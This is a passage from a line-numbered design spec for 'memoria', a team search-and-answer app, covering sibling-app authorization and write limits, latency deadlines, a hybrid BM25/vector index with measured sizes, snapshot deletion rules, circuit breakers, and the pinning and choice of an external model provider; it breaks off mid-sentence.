1905which is how home §2.2 survives decision 1.
1906
1907### 6.4 What decision 1 does not license
1908
1909Any hop across a `<team>` label. Any instance presenting an assertion.
1910**Any write except suite §7: a person's own hand-off, and S8 as memoria
1911itself into its designated area.** Any sibling item outside the
1912team-visible custody rule. The home in the loop. Content leaving the four
1913hosts, except §8.3's named provider, which is a disclosed exception and not
1914a sibling.
1915
1916**The write exception is narrow and it is suite ruling 9's: a write names
1917its real actor, and no sibling ever acts as a person.** Two forms and no
1918third — the hand-off (suite §7.1) and S8 (suite §7.2) — and **the wire
1919shapes are the doctrine's, cited here and not restated.** An earlier
1920version of this paragraph described the hand-off as "memoria renders a
1921form that POSTs to the receiving app's create endpoint; memoria is not in
1922the write at all, it only drew the button", which is the drifted
1923restatement ruling 7 exists to prevent, and it drifted in the direction
1924that made memoria's own obligations disappear.
1925
1926**memoria's own obligations, which are the part that belongs here:**
1927
1928- **The destination is validated against memoria's own `<team>` label
1929 before the form is rendered.** memoria is in the write to that extent —
1930 it chooses where the button points.
1931- **A `form-action` CSP allowance** for the receiving origin, in memoria's
1932 rastrillo config. Gate 4's log rule runs on memoria's side of this, and
1933 the receiving app's create endpoint commits on receipt only after its own
1934 confirmation step (suite §7.1: "a create endpoint that commits on receipt
1935 is a drive-by"), which is the receiver's obligation and not ours.
1936- **On-behalf-of writes are refused for good**, because a sibling token
1937 that can write as a person is a write capability over every member's
1938 identity.
1939
1940This spec previously forbade all writes, which was simpler and also
1941forbade a person clicking "save this to Docs" with their own hands.
1942
1943### 6.5 Availability: the deadline, and what a slow sibling costs
1944
1945Draft 2 had none of this, and the draft-2 review was right that it is the
1946finding most likely to change the product rather than the spec. Every
1947search now calls every contributing sibling, any of which may be cold, and
1948"withhold loudly" said what to do on failure without saying when failure
1949is declared.
1950
1951- **Deadline: 800 ms per sibling, all siblings called concurrently.** One
1952 page of results is one round of calls, so the page's floor is the
1953 slowest sibling, not their sum. The number is a starting assumption, not
1954 a measurement — §13 carries the obligation to measure it before slice 1
1955 ships.
1956- **A sibling past its deadline is `UNKNOWN`**, which withholds its
1957 passages loudly and renders the rest. **Partial pages are the normal
1958 case, not an error path**, and the page names what is missing and from
1959 which app.
1960- **A cold sibling is a wake, and a wake is slower than a deadline.** The
1961 honest consequence: the first search after a quiet period reliably
1962 withholds. So memoria **polls S1 at every configured sibling on its own
1963 wake**, before anyone has searched, to spend that latency where nobody
1964 is waiting. In suite shape it pulls the roster (suite call 8) on the same
1965 wake, for the same reason and on the same grounds: call 8 carries a
1966 consumer token and no asker.
1967- **Draft 3 said "fires S7 and a warm-up S2 on its own wake", and that
1968 call cannot be made.** Both take a person ref and there is nobody there
1969 on a wake — the same error as draft 2's per-person S3 (§6.1), repeated
1970 three sections after the correction for it was written. S1 is the call
1971 that already has no asker, it is the call memoria makes on wake anyway,
1972 and warming a sibling is warming a sibling whichever endpoint does it.
1973 A warm-up naming a person is a warm-up no fixture could ever have
1974 received, which is how it survived a draft.
1975 *The suite branch then wrote "pulls the roster and fires a warm-up S2",
1976 which is the same mistake with one of its two halves fixed — the roster
1977 pull is asker-less and fine, the S2 still is not. Corrected on merge,
1978 2026-09-06.*
1979- **A reliably slow sibling produces permanent withholding**, which is
1980 worse than it sounds: the product's primary path degrades to "Sheets did
1981 not answer" forever, and a reader learns to ignore the notice. There is
1982 no design that fixes this while failing closed. **The stated position
1983 is that this is a suite health problem surfaced by memoria, not a
1984 memoria problem to route around** — and if it happens, the answer is to
1985 fix or drop the source, never to cache its authorization. (§4.3's S7
1986 cache is not an exception to that sentence and §4.3 argues why: this
1987 clause is about a sibling's answer on a *passage*, which is never
1988 cached and never will be.)
1989
1990**Each of these is a number a gate can assert, and draft 3 asserted none
1991of them.** Gate 23 holds the deadline and the concurrency together,
1992because either alone passes on the other's failure: a sibling sleeping
1993past the deadline must not add its latency to the page, *and* three
1994siblings called at once must not cost three times one sibling's time.
1995Gate 24 holds the warm-up: every configured sibling receives its S1 poll
1996**unprompted, within a stated few seconds of the app coming up, with no
1997query issued at all.**
1998
1999*This read "before the query handler serves its first request" until
20002026-09-07, which is the ordering §10's own gate 24 works through and
2001rejects as unwritable either way — asynchronous it is a race between
2002goroutines, synchronous it puts three sibling wakes in front of the first
2003reader and undoes the warm-up's entire purpose. §10 had the corrected
2004form; this sentence did not, and the code cites §10. Found by a review of
2005the branch that built it.*
2006
2007---
2008
2009## 7. The index
2010
2011The design Docs §15 item 2 recorded as missing: *"An FTS5 index is
2012plaintext in SQLite and would fail our own gate; decrypting the corpus
2013per query is O(corpus)."*
2014
2015**Hybrid BM25 + dense vectors, fused by reciprocal rank, both sealed at
2016rest and resident in RAM while awake.**
2017
2018### 7.1 FTS5 is available cgo-free
2019
2020**Verified independently by both reviewers**, each building a static
2021binary against the suite's pinned `modernc.org/sqlite v1.55.0`:
2022`CGO_ENABLED=0` created `fts5(body, tokenize='porter unicode61')`, ran
2023`bm25()`, reported SQLite 3.53.3, and `pragma_compile_options` contained
2024`ENABLE_FTS5`.
2025
2026Per §3.1 its postings are plaintext, so the FTS table lives on
2027non-replicated scratch or in memory and is snapshotted to the bucket as a
2028sealed blob. **Whether CARLOS provides non-replicated scratch is
2029unverified — §13.**
2030
2031### 7.2 The arithmetic, derived
2032
2033**One corpus assumption drives every number below.** Draft 1 used 90k
2034chunks for memory and 60M tokens for cost, which are inconsistent; both
2035reviewers caught it.
2036
2037> **90,000 chunks at the measured 202 words / 1325 bytes each** — about
2038> **24M tokens** and **114 MB of text**.
2039
2040**Stated in chunks, because documents vary too much to convert.** Draft 3
2041wrote "30,000 documents × 3 chunks"; the benchmark's own corpus averages
2042**11.8** chunks per document, so this ceiling is roughly **7,600 documents
2043of the kind measured**, not 30,000. Any figure quoted per-document is
2044wrong by about 4×. The ceiling is a chunk count and only a chunk count.
2045
2046The token figure follows from the measured chunk (202 words ≈ 270 tokens),
2047not the 400-token target: **24M, not the 36M draft 3 carried into §8.6.**
2048
2049**Vectors.** 512-dim Matryoshka embeddings, stored **int8-quantised**.
2050
2051**512 is a client-side truncation, not a requested dimension.** The
2052parenthetical this replaced — *"OpenAI's `-3` models accept a `dimensions`
2053parameter"* — is true of OpenAI and false of the provider §8.3 selects.
2054`qwen/qwen3-embedding-8b` emits **4096 fixed** and *fails the request* if
2055`dimensions` is sent. The pipeline therefore keeps the first 512 values and
2056**re-normalises to unit L2**. That is valid because the model is trained
2057Matryoshka.
2058
2059**Search computes a raw dot product over vectors stored unit-normalised**,
2060not a cosine that divides by norms at query time. §7.3's `2 × N × D` flop
2061figure already assumed this and the spec never said so. It matters here:
2062**cosine is scale-invariant, so against a true cosine a skipped renormalise
2063changes no ranking at all** — a gate written over cosine could not fail,
2064which is the shape AGENTS.md says this codebase has already shipped three
2065times. Over a raw dot product the same omission silently reorders results.
2066So the earlier draft of this paragraph, which said "cosine similarity then
2067degrades smoothly", was wrong twice: cosine does not degrade, and the thing
2068that does degrade is the form the spec had not committed to.
2069
2070Gate 28 is therefore deterministic and cannot be argued past — *every
2071stored vector has L2 norm 1 ± ε; mutation: skip the renormalise, expect
2072red* — and gate 29 carries the measurement it cannot do.
2073
2074**It costs ingest bandwidth, not storage.** Truncation happens before
2075storing, so the table below is unchanged — 90k chunks × 4096 f32 is
2076**~1.4 GB decoded to store 46 MB**, a ratio of about 32×, not the 8× you
2077get by mis-reading the kept width as the f32@512 intermediate (184 MB is
2078what truncation yields; int8 quantisation is what is stored).
2079
2080**On the wire it is several GB, and base64 is not the way out.** Tested
20812026-09-05: `encoding_format: "base64"` is **accepted and silently
2082ignored** — the response returns JSON floats, matching the request that
2083omits the parameter. Not an error, just dropped. So the ~2 GB base64 figure
2084an earlier draft hedged with is unavailable.
2085**The replacement figure is derived, not measured, and the range is wide.**
2086At ~11 bytes a float it is ~4 GB across 90k chunks; servers of this family
2087often emit 17-significant-digit reprs at ~20 bytes, which is ~7 GB. A probe
2088response was in hand and nobody counted its bytes — measure bytes-per-
2089vector once and multiply, rather than guessing at a serialiser's precision.
2090**And "no opt-out" overstates it:** `Content-Encoding: gzip` collapses
2091digit strings, Go's client asks for it by default, and whether TensorX
2092honours it is one response header on the same probe (§13). Note the behaviour as well as the number: **a provider that
2093accepts a parameter and discards it will do so again**, which is an
2094argument for asserting on what comes back rather than on what was asked
2095for.
2096
2097This is ingest-time, not wake-time, so §7.3's ceiling is untouched. It is
2098not free either: neither the first embed's wall-clock nor the batch size
2099the endpoint accepts is written down anywhere, and §13 asks for the
2100re-embed figure while the first embed's is equally absent.
2101
2102| chunks | int8 @512 | f32 @512 | f32 @768 |
2103|---|---|---|---|
2104| 10k | 5 MB | 20 MB | 31 MB |
2105| 90k | **46 MB** | 184 MB | 276 MB |
2106| 250k | 128 MB | 512 MB | 768 MB |
2107
2108Draft 1's table mixed an int8 design with f32 columns without saying so.
2109
2110**Query latency, derived.** A brute-force pass is `2 × N × D` flops. On
2111one core of this machine, measured at **3.2 GFLOP/s** (pure Go, no SIMD):
2112
2113| chunks × dims | flops | latency |
2114|---|---|---|
2115| 10k × 512 | 10.2 M | 3 ms |
2116| 90k × 512 | 92 M | 29 ms |
2117| 100k × 768 | 154 M | **48 ms — measured, matches** |
2118| 250k × 512 | 256 M | 80 ms |
2119| 1M × 512 | 1.02 G | 320 ms |
2120
2121**FTS index size — remeasured, and draft 2 was wrong by half.** Draft 2
2122reported 104 MB from a synthetic corpus of random letters. The draft-2
2123review showed that figure could not describe the stated schema, because a
2124default FTS5 table keeps its own copy of the inserted text. Measured
2125properly, on the real corpus, chunked by memoria's own chunker
2126(`docs/BENCHMARKS.md` carries the machine and command):
2127
2128| schema | index | bytes/chunk | build | query |
2129|---|---|---|---|---|
2130| `fts5(body, …)` — default | **200 MB** | 2329 | 6.8 s | 1.09 ms |
2131| `fts5(body, content='', …)` | **49 MB** | 574 | 6.2 s | 1.09 ms |
2132
2133**A contentless table is 4× smaller and queries just as fast, but cannot
2134return column values — so `snippet()` does not work and memoria must build
2135its own highlight from the sealed chunk.** That is the trade, recorded as a
2136decision: slice 0 uses the default table because a snippet is free there
2137and the corpus is tiny; the snapshot design uses contentless, because 49 MB
2138against 200 MB decides the wake budget.
2139
2140**A chunk is smaller than draft 2 assumed.** Measured mean: **202 words /
21411325 bytes**, not 400 words / 1.6 KB. The chunker targets 400 words but
2142folds runts and never straddles a heading, and real documents have
2143headings every few paragraphs. Every figure here follows from the measured
2144size.
2145
2146**The chunker is line-based, and three bugs made it so** (found reviewing
2147the built code, not the spec). A heading is a heading whether or not a
2148blank line follows it — `## Revenue` immediately above its text is the
2149commonest Markdown style, and a paragraph-based splitter filed the whole
2150thing as body with an empty trail, so those documents indexed with no
2151heading at all. A `#` inside a fenced code block is a shell comment, and
2152was becoming a heading that captured everything after it. And a file with
2153no blank lines — a CSV, a log, hard-wrapped prose — became one chunk of
2154the entire file, whose only citation read "passage 0" for everything. So:
2155fences are tracked, headings close a chunk without needing a blank line,
2156and **`MaxWords` (1000) is a hard ceiling on both a paragraph and a
2157chunk**. The measured mean above is from the fixed chunker.
2158
2159**Rebuild vs snapshot.** Building the index took **6.8 s** at 90k chunks.
2160Loading a sealed snapshot does not. **Snapshot, never rebuild** — above
2161slice 0, where a rebuild is milliseconds.
2162
2163### 7.3 The wake budget, and the real ceiling
2164
2165Snapshot at 90k chunks, measured:
2166
2167| design | FTS | vectors | separate text | total |
2168|---|---|---|---|---|
2169| default FTS (text is in the index) | 200 MB | 44 MB | — | **244 MB** |
2170| contentless FTS + the text snippets need | 49 MB | 44 MB | 114 MB | **207 MB** |
2171
2172**Stated assumption, which draft 1 omitted:** bucket read at 50–100 MB/s,
2173AES-GCM at ~1 GB/s. So 150 MB loads in **1.5–3.0 s plus 0.15 s decrypt**.
2174
2175A **5 s budget** at the conservative bandwidth admits ~250 MB. Against the
2176measured footprints that is **about 90,000–110,000 chunks**.
2177
2178**Both earlier drafts got this wrong, in opposite directions, and the
2179correction is worth keeping.** Draft 1 said ~100k and called it "the same
2180ceiling the brute-force arithmetic gives, which is tidy" — a coincidence it
2181had manufactured. Draft 2 called that out and derived ~150k instead, from
2182an FTS figure that was wrong by half. So **draft 2 moved the number the
2183wrong way while claiming to have fixed the arithmetic, and draft 1's
2184~100k was closer by accident.** Measurement, not rederivation, is what
2185settled it.
2186
2187Brute-force cosine remains nowhere near binding: §7.2 measures 250k chunks
2188at 80 ms.
2189
2190**The honest conclusion draft 1 missed: the wake budget binds first, and
2191ANN does not help it.** An HNSW graph makes the snapshot *larger*. So the
2192deferred item is not "ANN at 250k" but **an on-disk sealed index, or
2193partial load with background fill** — §12.
2194
2195### 7.4 Snapshots, deletion, and restore
2196
2197**A snapshot is not a cache; it is a durable copy that outlives the
2198deletion it predates.** GPT Sol's finding 6, which neither the other
2199reviewer nor draft 1 caught.
2200
2201- **A deletion is not complete until a superseding snapshot is written
2202 and the prior snapshot is retired.** Snapshots carry a monotonic
2203 generation; retirement deletes the blob.
2204- **On wake, sibling content may serve immediately**, because §4.1 asks
2205 the sibling live and a deleted item answers `NOT_VISIBLE`.
2206- **memoria-owned content (§4.2) has no such backstop**, so its deletions
2207 must be applied to the loaded index before it serves. A snapshot
2208 records the deletion cursor it is current through; a gap is replayed
2209 from the tombstone log at wake, before first query.
2210- **A restore from backup takes the re-announce path** and replays
2211 memoria-owned tombstones before serving.
2212- **A *sibling's* restore is the mirror case, and §4.1 specifies it.**
2213 memoria then holds revisions the sibling does not, which answer `AHEAD`.
2214 Reconciliation is: the source leaves the ranking, the re-announce runs,
2215 items the completed announce omits are **retired**, and announced
2216 revisions replace memoria's whichever way the numbers point. Retirement
2217 is a memoria-side deletion, so it goes through this section's durable
2218 tombstone log like any other; an announce that fails to complete retires
2219 nothing. Gate 27.
2220- **The tombstone log is durable independently of the database, and this
2221 is what draft 2 was missing.** Restoring a backup from before a deletion
2222 also restores a tombstone log from before it, so replaying that log
2223 replays nothing: the deletion is simply gone. So tombstones are written
2224 to their own append-only object in the bucket, keyed by a monotonic
2225 deletion sequence, retained beyond any restorable backup's age, and
2226 **replayed from the sequence the restored database stops at** rather
2227 than from the log it happens to carry.
2228- **A snapshot is not retired while any restorable backup could point at
2229 it.** Draft 2's retirement rule created the mirror-image bug: a restored
2230 database referencing a superseded generation finds the blob deleted and
2231 has no index at all. Retirement waits out the backup retention window,
2232 and a snapshot referenced by a missing generation triggers a rebuild
2233 rather than an empty index — an empty index would serve "nothing
2234 matched" over a full corpus.
2235
2236---
2237
2238## 8. Retrieval and the answer
2239
2240### 8.1 One gate, both paths
2241
2242**Every path that renders a passage calls §4.1 first** — search results,
2243snippets, generated answers, derived artefacts, API responses. There is
2244no passage-only path that skips it, which is the whole of gap 2's fix.
2245
2246With AI off, the floor: a GET form, `?q=`, ranked passages, each carrying
2247app, title, locator, 👨/🤖 marker, date, and a deep link. Scriptless,
2248paginated, rastrillo `server` shape. Lexical only, since embeddings need
2249a provider — and per §3.2, nothing leaves the instance in this mode.
2250
2251**§8.8's fact box is part of this floor and not an addition above it.** It
2252calls no model in its deterministic layer (§8.8, decision 15 as
2253amended), so that layer is present in exactly the mode this
2254paragraph describes; gate 15 covers it with everything else here, and it
2255renders inside the results region rather than beside it.
2256
2257**Loud withholding, naming the shape of the loss:**
2258
2259- `UNKNOWN` from a sibling → *"Sheets did not answer; 7 results
2260 withheld."*
2261- A failed S3 after a successful S2 → the passage is listed as
2262 unavailable, never dropped.
2263- A failed or stale S1 → the page states the corpus is current as of a
2264 time, rather than implying freshness.
2265- **A circuit breaker, and draft 4's renamed its problem rather than
2266 removing it.** Draft 3's fired on the routine case — a Docs-only member
2267 gets wholesale `NOT_VISIBLE` from Sheets on every query they will ever
2268 run, and a notice that fires for an ordinary person is a notice readers
2269 learn to skip. Draft 4 wrote the right sentence, **"the predicate has to
2270 be a property of the sibling, not of one asker"**, and then kept a
2271 predicate that was a property of whoever happened to query that day:
2272 *zero `VISIBLE` in a 24-hour window*. Two ordinary events satisfy it.
2273
2274 A 24-hour Sheets outage answers `UNKNOWN` to everything, which is zero
2275 `VISIBLE`, which trips a breaker whose whole subject is refusal — an
2276 availability problem reported as a permissions anomaly, on the day the
2277 operator most needs to read the notice correctly. And on a team where
2278 one person uses Sheets and three do not, a single day when that person
2279 is away leaves three askers, four pages of queries, zero `VISIBLE` and a
2280 `VISIBLE` last week. The routine case with a day off in it.
2281
2282 **So the predicate counts refusals, not the absence of grants, and the
2283 signal is a per-asker transition.** Per sibling, over a rolling 24-hour
2284 window:
2285
2286 - **the baseline set** is every asker who received at least one
2287 `VISIBLE` from this sibling in the 7 days *ending where the window
2288 begins* — `[start − 7d, start)`, disjoint from the window, so the
2289 window can never be its own baseline;
2290 - the breaker fires when **at least 3 askers in the baseline set each
2291 asked this sibling at least one pair inside the window and received
2292 zero `VISIBLE`**, and **the window contains at least one
2293 `NOT_VISIBLE`** from this sibling.
2294
2295 Each clause earns its place. Counting `NOT_VISIBLE` rather than "no
2296 `VISIBLE`" is what separates a sibling that is refusing from one that is
2297 down: an outage produces `UNKNOWN`s and no `NOT_VISIBLE`, so it does not
2298 trip this breaker at all — §6.5's partial-page notice is what reports
2299 it. The per-asker transition is what makes the predicate a property of
2300 the sibling: a Docs-only member is never in the baseline set, so no
2301 number of them can trip it, whoever else did or did not query today.
2302 And requiring each counted asker to have *asked* inside the window is
2303 what stops absence being read as refusal.
2304
2305 **The 200-pair clause is dropped, and its removal is the point.** One
2306 page of results is 50 pairs, so four queries met it; it did no work, and
2307 a floor that everything clears is a clause that reads as rigour. What
2308 replaces it is the requirement that three baseline askers each actually
2309 queried the sibling in the window, which is a floor written against the
2310 thing being measured rather than against the traffic.
2311
2312 **Where the windows live, and what that costs.** memoria hibernates
2313 (§3.5), so an in-memory window resets on every wake and a breaker that
2314 can never accumulate seven days of baseline is a breaker that is off —
2315 reading, on the owner's page, as "no anomaly". So the counters are
2316 **durable**: per `(sibling, asker, UTC day)`, two integers — `VISIBLE`
2317 and `NOT_VISIBLE` — sealed under their own HKDF purpose, **retained 8
2318 days and no longer**, which is the window plus the baseline plus one.
2319 That is a per-person, per-sibling record of how much each person was
2320 allowed to see, it is a per-person record, alongside optional Home identity bindings, and
2321 **§3.2's leak list carries it** rather than leaving it to be discovered.
2322 Two integers a day is the smallest thing that answers the question; a
2323 per-refusal log would answer it too and is not built, because the
2324 aggregate is sufficient and the log is not.
2325
2326 **The window is a UTC day, and the NOT_VISIBLE clause is per counted
2327 asker. Corrected 2026-09-07.**
2328
2329 It says the counters are keyed per `(sibling, asker, UTC day)` and that
2330 the window is *rolling 24 hours*. Two integers a day cannot answer a
2331 question about an interval beginning partway through a day: there is
2332 nothing in the row to split on, which is the whole economy of storing an
2333 aggregate rather than the per-refusal log declined above. The storage
2334 rule wins, because it is the one the leak list was written against —
2335 **the window is the current UTC day, and the baseline the seven UTC days
2336 before it**, still disjoint. The cost is precision at the boundary: a
2337 refusal spree beginning at 23:00 UTC is judged on an hour of evidence
2338 and re-judged on a full day. That is a delay in firing, never a false
2339 positive, which is the right direction for a notice whose purpose is not
2340 to cry wolf.
2341
2342 **And the third clause binds each counted asker, not the window.** It
2343 read "the window contains at least one `NOT_VISIBLE`", which §13 had
2344 already recorded as wrong: window-global, it is satisfied by one routine
2345 refusal of a Docs-only member, so a 24-hour outage plus that single
2346 query fires the refusal breaker — the exact case the prose above says is
2347 excluded. Per counted asker — **`VISIBLE = 0` and `NOT_VISIBLE >= 1`** —
2348 all three clauses collapse into one condition, and "asked in the window"
2349 stops needing its own storage: a refusal *is* the evidence that somebody
2350 asked.
2351
2352 *An amendment made here on 2026-09-07 added a third counter, `ASKED`,
2353 arguing that the clause could not otherwise fail. The observation was
2354 right — an all-`UNKNOWN` day writes no row, so an outage's askers never
2355 enter the window and mutation (ii) stays green — and the remedy was
2356 wrong twice over. §13 already carried the correct fix, and this section
2357 was amended without opening it, which is the failure AGENTS.md calls
2358 characteristic, committed while repairing another one. And the third
2359 integer enlarged the per-person breaker record memoria keeps — a "how often
2360 did they query" count — without §3.2's leak list being opened either.
2361 Both reverted; two integers, and the clause moved instead.*
2362
2363 **A window that cannot be read says so.** If the counters are missing,
2364 unreadable or short of a full baseline — a fresh instance, a restore, a
2365 seal failure — the sources page reports **"cannot determine"** for that
2366 sibling, naming which of the two it lacks. It never reports "no
2367 anomaly", because a count that fails is not a count of zero, and this is
2368 the one place in the design where that mistake would silently disable a
2369 guard rather than mis-render a page.
2370
2371- **The S3 half has no asker**, so its predicate is the same shape with
2372 the asker clause removed: **at least 20 fetches in the window, all 404,
2373 with at least one success in the disjoint preceding 7 days.** Twenty
2374 rather than two hundred because an ingest pass fetches far fewer items
2375 than a search asks pairs, and the 200 here was the same borrowed number
2376 doing the same non-work.
2377
2378- **Neither breaker's counters are read at query time.** They are written
2379 on the path that already made the call and read only when the owner's
2380 sources page is rendered, so a reader never waits on them.
2381
2382- **Wholesale `AHEAD` is a third breaker**, and it reads differently: not
2383 a mis-scoped predicate but a restore (§4.1). **Unbuildable until the
2384 contract module ships the fifth constant** — with the wire mapping the
2385 case to `UNKNOWN`, this breaker cannot fire at all, and worse, it would
2386 be indistinguishable from the outage this section says must *not* trip
2387 one. §13 carries the dependency. It states a restore, marks
2388 the source for re-announce, **takes that source out of the ranking**,
2389 and purges nothing. It needs no baseline and no asker floor, because a
2390 single `AHEAD` is already a positive statement that the sibling lost
2391 history — there is no routine case to exclude. Gate 27.
2392
2393- **All three purge nothing, and none of them appears on a reader's
2394 results page** — with one exception the `AHEAD` breaker has to make.
2395 The refusal and S3 notices go to the team owner's sources page, because
2396 a message telling one reader how much they were not allowed to see is a
2397 disclosure with a number in it, and §4.1 is explicit that
2398 `NOT_VISIBLE` is the one value that may be silent. **The reconciling
2399 notice is different and does go on the results page**: it says a source
2400 is temporarily out of the search, which is a statement about the suite's
2401 health and carries no fact about anyone's permissions. Leaving it off
2402 would be the silent short page gate 27 exists to catch. Gates 8 and 27.
2403
2404### 8.2 Routing, decided after retrieval
2405
2406Retrieval is free, so the router runs on results. Five classes, three
2407calling no model:
2408
2409| Class | Signal | Route |
2410|---|---|---|
2411| Navigational | "where is the Q3 budget" | **No model.** Result list. |
2412| Numeric / aggregate | asks for a computed value | **No model does the arithmetic.** Resolve slots, then S6 — §8.7. |
2413| Who knows about X | asks about people | **No model.** Authorship markers on passages that already passed §4.1, aggregated. |
2414| Single-source factual | large top-1 BM25 margin, one document | Cheap model, extractive. |
2415| Synthesis | top-K spread across ≥3 documents | Frontier model. |
2416
2417Draft 1 wrote "filtered to what the asker can see" on the third row,
2418which either restated §4.1 or smuggled a second per-person filter
2419alongside it. The passages have already passed the gate.
2420
2421**§8.8's fact box is not a sixth row, and it was one in that section's
2422first draft.** A row here is a route, and a route is terminal: a query
2423naming a fact kind would have stopped at the box, so *"what's the office
2424phone number?"* with nothing validated in reach would get no answer where
2425the single-source class would have given one. The box runs **before** this
2426table and does not consume the query — Paul's constraint is deterministic
2427*first*, not deterministic *instead*. It is a fourth way memoria answers
2428without a model; it is not a fourth destination.
2429
2430Two configuration names — `model.cheap`, `model.frontier` — with the
2431route printed on the answer.
2432
2433**The pinning rule bit the first two ids this section chose**, and the
2434catalogue since settled how to satisfy it. The first pair were
2435`z-ai/glm-5.3-flash` and `moonshotai/kimi-k3`, neither datestamped. **The
2436live catalogue proves the concern rather than merely suggesting it: it
2437lists `deepseek/deepseek-v4-pro` and `deepseek/deepseek-v4-pro-0813` side
2438by side** — the same model as a bare alias and as a dated snapshot, which
2439is exactly the shape the rule is about, in this vendor's own inventory
2440(`GET /v1/models`, 2026-09-05).
2441
2442**Only two families offer a dated id at all.** DeepSeek
2443(`v4-pro-0813`, `v4-flash-0731`, `r1-0528`) and one Qwen
2444(`qwen3-235b-a22b-2507`). Every Kimi, GLM and MiniMax id is a bare name —
2445`kimi-k3` exists, but no `kimi-k3-<date>` does. So pinning Kimi would make
2446gate 30's canary load-bearing, and pinning DeepSeek does not.
2447
2448**Both tiers are therefore DeepSeek:** `model.cheap` is
2449`deepseek/deepseek-v4-flash-0731` and `model.frontier` is
2450`deepseek/deepseek-v4-pro-0813`. Confirmed by Paul on 2026-09-05.
2451
2452**Be exact about how much of that the rule decided.** It forced the move
2453off two undated ids. It did *not* force DeepSeek twice: the survey above
2454lists a dated Qwen (`qwen3-235b-a22b-2507`), so a two-lab pair satisfies
2455the rule equally. Choosing DeepSeek for both is a judgement about price,
2456recency and family coherence — defensible, and **made without putting the
2457Qwen option in front of Paul**, which §13 records rather than quietly
2458keeps.
2459
2460**The concentration gets a stated response, not just a note.** Both tiers
2461are now one lab as well as one host, so a DeepSeek withdrawal moves both at
2462once. Name the fallback now — `qwen/qwen3-235b-a22b-2507` for the frontier
2463tier, `z-ai/glm-5.3-flash` for the cheap one with gate 30 carrying it — so
2464a withdrawal is a config change through §Review on a normal day rather than
2465a research task on a bad one.
2466
2467**The canary is not demoted, and an earlier draft of this section demoted
2468it wrongly.** At first configuration, embed a fixed set of public,
2469non-content sentences — not team content, so §3.2 is untouched — seal the
2470vectors, re-embed on wake, and **state an anomaly when cosine drift exceeds
2471a stated ε**. Gate 24, covering all three pinned ids, and §11's sentence
2472stands unamended: it is the only thing standing between a stable id and a
2473silent swap.
2474
2475**A dated id at a reseller pins a label, not a behaviour.** DeepSeek does
2476ship dated release artefacts, so `-0813` plausibly names lab weights — but
2477TensorX did not train them, §13 records that id immutability *at TensorX*
2478is unread, and everything short of the weights that moves a chat model's
2479output is theirs to change under an unchanged id: quantisation, chat
2480template, sampling defaults, context truncation. A dated id buys a name to
2481print on an answer. It does not buy a detector.
2482
2483**`openrouter/auto` is disqualified**, and so is anything shaped like it.
2484It selects by trailing-7-day community spend, changes weekly, and cannot be
2485attributed — failing AGENTS.md §Review's "record which model" and decision
24864's naming requirement. State the rule generally, because a router is not
2487the only thing that breaks it: **a model id that can change under a team
2488without that team changing it cannot be printed on an answer.** A floating
2489alias is disqualified on identical grounds, which is why the two config
2490names hold ids and not tiers — pinned where the catalogue permits it, and
2491canaried where it does not.
2492
2493**Noted against ourselves:** OpenAI's dated snapshots satisfy this rule
2494more cleanly than the catalogue §8.3 selects. That is a real cost of the
2495provider choice, and §8.3 records it as one rather than talking past it.
2496
2497### 8.3 Egress
2498
2499Per decision 4: one provider, fixed by the team owner, named on every
2500answer, disclosed in the README's first paragraph, opt-in per team, with
2501§8.1's floor working when it is off.
2502
2503**The provider memoria supports is TensorX** (`api.tensorx.ai`) —
2504open-weight models served on EU infrastructure in Dublin, Helsinki and
2505Paris, with **advertised** zero retention. Advertised: no account exists,
2506no terms have been read, and §3.6 tells the reader we cannot verify a
2507retention promise. That sentence keeps saying so.
2508
2509**The provider is not team-configurable**, ruled by Paul on 2026-09-04.
2510Supporting one is a code change; a team owner's choice is on or off. This
2511is narrower than decision 4's "fixed by the team owner", and deliberately:
2512a configurable base URL on an OpenAI-compatible client would let an owner
2513point memoria at a proxy while the answer still printed "one named
2514provider", which is the failure this whole section is about. Decision 13
2515records it.
2516
2517**Swapping later is cheap on one side and not the other.** Generation is
2518one client, one base URL and two model ids, through code and §Review, where
2519the two-parties question gets asked again. **Embeddings are a third id and
2520the expensive one:** a new host that serves the same open `qwen3-embedding-8b`
2521weights yields compatible vectors and costs a migration, and any other host
2522costs a re-embed of the whole corpus — 24M tokens at an unmeasured
2523wall-clock (§13). Saying "swapping stays cheap" without that split would
2524contradict §13 two pages later.
2525
2526**Why this one, honestly stated.** Not because it beats OpenRouter and
2527OpenAI on decision 4's own words — on one half of them it loses:
2528
2529- **Fewer parties, not one party.** OpenRouter is a proxy, so the proxy and
2530 the upstream that runs the weights both see content, and "one named
2531 provider" would be naming one of two. TensorX **presents as** running the
2532 weights it serves — no proxy is interposed that we can see, and the one
2533 probe that could have shown otherwise returned 403 rather than an
2534 embedding. **That is weaker than it reads.** A 403 is a refusal, not a
2535 not-found, it was one key's refusal, and the probe had no control: nobody
2536 asked what a *nonsense* model id returns. If a made-up name 404s while
2537 `text-embedding-3-small` 403s, then that name is in their routing table
2538 and the probe found exactly the thing it was built to find, merely gated.
2539 §13 carries the two control calls that separate the readings; until they
2540 run this is a presentation, not a fact.
2541 Beyond it, **one contractual counterparty is not one organisation seeing
2542 the corpus**: a vendor this young on infrastructure in three cities is
2543 plausibly renting it, and a subprocessor sees content in exactly the
2544 sense §3.2 means. That is a DPA question and the DPA is unread (§13).
2545 The claim is *narrowed*, not *closed*, and §13's item says so.
2546- **Named weights — partially.** §8.2's requirement, met by a namespaced
2547 catalogue, but only `deepseek/deepseek-v4-pro-0813` and its like are
2548 datestamped. On id-pinning **OpenAI's dated snapshots are strictly
2549 better**, and §8.2 records that against us.
2550- **Open weights, which decision 4 never asked for.** Any host serving the
2551 same `qwen3-embedding-8b` produces compatible vectors, so the vendor
2552 failing is a *re-host*, not a re-embed of the corpus — see §13. Self-
2553 hosting stays reachable (§12). This is the strongest argument here and it
2554 is not a decision-4 argument at all.
2555- **EU jurisdiction**, likewise not a decision-4 criterion.
2556
2557**So the honest record is:** TensorX was chosen for sovereignty and open
2558weights — criteria Paul added on 2026-09-04, not criteria decision 4 stated
2559— at a known cost in id-pinning and in frontier answer quality (§8.2, §13).
2560Going direct to OpenAI satisfies decision 4's letter at least as well: one
2561counterparty, pinnable dated ids, zero-retention obtainable on request, and
2562the subprocessor point cuts both ways since it runs on Azure. It loses on
2563jurisdiction, on open weights, and on cost. Written that way the choice
2564stands; written as "TensorX wins on decision 4" it would be false.
2565
2566**Three things send content to it, and only the third exists today.**
2567Embeddings at ingest — every chunk, once (§7.2, not built). Answers — the
2568passages behind a generated answer (§8.2, not built). And **§8.9's
2569metadata extraction** — up to eight ruled passages of a search request
